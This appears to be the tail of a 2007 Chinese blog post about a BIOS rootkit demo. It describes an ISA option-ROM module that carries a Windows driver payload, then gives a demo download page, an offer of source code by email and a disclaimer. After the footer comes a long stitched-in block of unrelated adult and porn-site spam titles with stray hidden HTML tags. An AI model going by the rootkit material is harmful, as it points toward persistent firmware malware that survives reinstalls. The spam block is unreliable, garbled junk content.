    >winxp SP2 with with winbond xxx(512KB 6.00PG)
   
   
    本來打算寫個(gè)默認(rèn)的NDIS BackDoor,不過有些問題沒有解決,就拿protector.sys當(dāng)作默
    認(rèn)的payload了...
    待高手指點(diǎn)。
   
    注:
        leaving.bin為ISA模塊,使用NASM和DJGPP編寫,可附加小于27KB的.sys文件(其實(shí)
        可以為64KB total,暫時(shí)用0x8000大小)
        iclord.exe內(nèi)嵌驅(qū)動(dòng)IO_HLPER.SYS和Leaving.bin...
        很簡(jiǎn)單吧?
   
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
六、總結(jié)
   
    由于PC機(jī)的硬件和軟件環(huán)境復(fù)雜,這樣的RootKit只能在一部分機(jī)器上跑。
    加上新的EFI應(yīng)用,Vista的推廣,立足之地那是少的可憐...
   
    其實(shí)你可以把rootkit做成虛擬機(jī),讓NT跑在虛擬機(jī)之上,開個(gè)玩笑...  
   
   
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

七、參考/thanks

    [Rference]
       
        a lot...enum @ blog.csdn.net/icelord
   
   
    [Thanks]
   
        a lot...enum @ blog.csdn.net/icelord

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
八、Demo下載

    估計(jì)看到這里也沒明白是怎么回事的人很多吧...
    沒辦法,本人語(yǔ)文水平就這樣,"這輩子就吃了沒文化的苦了"...
   
    如果您有不同見解,mail to:icelord@sohu.com
   
    下載頁(yè)面:
   
http://blog.csdn.net/icelord/archive/2007/05/11/1604796.aspx
   
    如果您有興趣測(cè)試demo,可通過上面的下載頁(yè)面來獲取...
    至于src,mail to:icelord@sohu.com
   
    請(qǐng)勿用于非法途徑,本文僅作技術(shù)交流之用!
   
    //廣告空間:seeking a job / currently (hehe,用心比較險(xiǎn)惡)
   
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

posted on 2007-05-23 19:35 葉子 閱讀(517) 評(píng)論(0)  編輯 收藏 引用 所屬分類: 技術(shù)研究

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            在线视频精品一区| 在线日本成人| 性做久久久久久久久| 亚洲天堂第二页| 国产片一区二区| 久久亚裔精品欧美| 欧美成人精品| 亚洲欧美电影院| 欧美中在线观看| 亚洲免费观看| 亚洲综合999| **欧美日韩vr在线| 99视频日韩| 国产亚洲精品久久飘花| 欧美激情在线播放| 欧美午夜片在线观看| 久久九九久精品国产免费直播| 久久精品国产亚洲一区二区三区| 亚洲二区视频在线| 亚洲视频在线观看一区| 在线看一区二区| 宅男精品视频| 亚洲精华国产欧美| 亚洲免费视频成人| 日韩午夜在线| 久久av一区二区三区漫画| 一本久道久久综合中文字幕| 欧美一级黄色录像| 在线视频欧美日韩精品| 久久久久高清| 亚洲综合精品| 欧美另类综合| 欧美大片一区| 精品不卡一区| 小黄鸭视频精品导航| 一区二区三区黄色| 欧美1区2区视频| 蜜臀av在线播放一区二区三区| 欧美亚一区二区| 亚洲精品欧美日韩| 在线观看福利一区| 欧美综合激情网| 午夜视频一区在线观看| 欧美视频二区36p| 亚洲国产成人一区| 狠狠干综合网| 欧美一区二区三区四区视频| 亚洲欧美精品中文字幕在线| 欧美日韩不卡合集视频| 亚洲风情亚aⅴ在线发布| 精品福利免费观看| 久久gogo国模裸体人体| 久久精品人人做人人爽| 国产欧美日韩一区| 亚洲免费在线视频| 亚洲欧美日韩国产中文在线| 欧美网站在线观看| 夜夜爽www精品| 亚洲婷婷综合色高清在线| 欧美人妖另类| 一本色道久久精品| 亚洲欧美成人一区二区三区| 国产精品大片wwwwww| 亚洲午夜精品久久| 午夜精品理论片| 国产欧美va欧美va香蕉在| 亚洲一区二区视频| 欧美有码在线视频| 红桃视频国产精品| 免费不卡视频| 亚洲精品美女免费| 亚洲一区二区免费看| 国产精品日韩久久久| 午夜日韩激情| 乱中年女人伦av一区二区| 亚洲国产精品久久久| 欧美激情视频给我| 亚洲一区二区日本| 久久这里只有精品视频首页| 亚洲国产精品ⅴa在线观看| 欧美国产先锋| 欧美夫妇交换俱乐部在线观看| 亚洲视频在线观看免费| 亚洲日韩视频| 欧美日韩黄色大片| 亚洲一区高清| 欧美不卡三区| 亚洲小说区图片区| 国产日韩欧美一区二区| 久久综合九色九九| 999亚洲国产精| 久久久久久色| 在线视频亚洲| 国产专区欧美精品| 欧美片在线播放| 久久久久国产精品人| 日韩视频在线观看| 久久香蕉国产线看观看av| 在线性视频日韩欧美| 国产亚洲激情在线| 欧美日韩国产a| 久久精品在线播放| 亚洲天天影视| 亚洲国产精品久久久久久女王| 欧美亚洲在线视频| 日韩午夜在线视频| 尤物视频一区二区| 国产精品毛片va一区二区三区| 久久久青草青青国产亚洲免观| 在线视频一区观看| 亚洲国产一区二区精品专区| 久久精品一区中文字幕| 中国亚洲黄色| 日韩午夜激情| 在线成人激情黄色| 国产欧美不卡| 国产精品爱啪在线线免费观看| 母乳一区在线观看| 久久九九热免费视频| 亚洲欧美电影院| 一区二区不卡在线视频 午夜欧美不卡在 | 国产精品99久久久久久有的能看| 国产午夜精品久久久久久久| 欧美日韩成人在线播放| 美女91精品| 久久久久久久综合色一本| 午夜精品影院在线观看| 亚洲一区二区成人在线观看| 亚洲毛片在线观看| 最新高清无码专区| 亚洲福利视频网站| 欧美高清视频免费观看| 免费一级欧美片在线播放| 久久嫩草精品久久久久| 久久av资源网站| 久久精品欧美日韩| 久久美女性网| 玖玖国产精品视频| 男人的天堂亚洲在线| 嫩草国产精品入口| 亚洲夫妻自拍| 日韩手机在线导航| 亚洲视频在线观看三级| 亚洲一级片在线观看| 亚洲综合三区| 久久精品成人一区二区三区蜜臀 | 欧美福利视频一区| 麻豆成人综合网| 久久精品在线观看| 久久精品日产第一区二区| 久久成人综合网| 久久久久国内| 美女视频网站黄色亚洲| 欧美刺激性大交免费视频| 91久久国产自产拍夜夜嗨| 亚洲伦伦在线| 亚洲男人第一av网站| 久久久999| 欧美国产激情二区三区| 欧美日韩中文字幕精品| 国产欧美日韩一区| 亚洲国产另类久久久精品极度| 亚洲精品资源美女情侣酒店| 亚洲一区二区免费在线| 久久精品天堂| 亚洲激情视频在线| 亚洲欧美国产毛片在线| 美脚丝袜一区二区三区在线观看| 欧美精品日韩综合在线| 国产欧美日韩91| 亚洲激情社区| 午夜精品一区二区三区在线| 免费观看成人www动漫视频| 日韩亚洲一区在线播放| 欧美一区免费| 欧美日韩另类在线| 国模精品一区二区三区| 一二三区精品福利视频| 久久久综合精品| 99在线视频精品| 久久嫩草精品久久久精品| 欧美日韩一区二区三区| 1000部国产精品成人观看| 亚洲线精品一区二区三区八戒| 久久婷婷色综合| 亚洲视频中文字幕| 欧美成年人网| 好吊妞**欧美| 欧美一区二区三区的| 亚洲精品久久| 久久综合色播五月| 国产乱人伦精品一区二区 | 国产欧美综合在线| 一本久久知道综合久久| 美女久久一区| 小嫩嫩精品导航| 国产精品日韩专区| 99精品视频免费观看视频| 蜜桃av久久久亚洲精品| 欧美一级淫片aaaaaaa视频|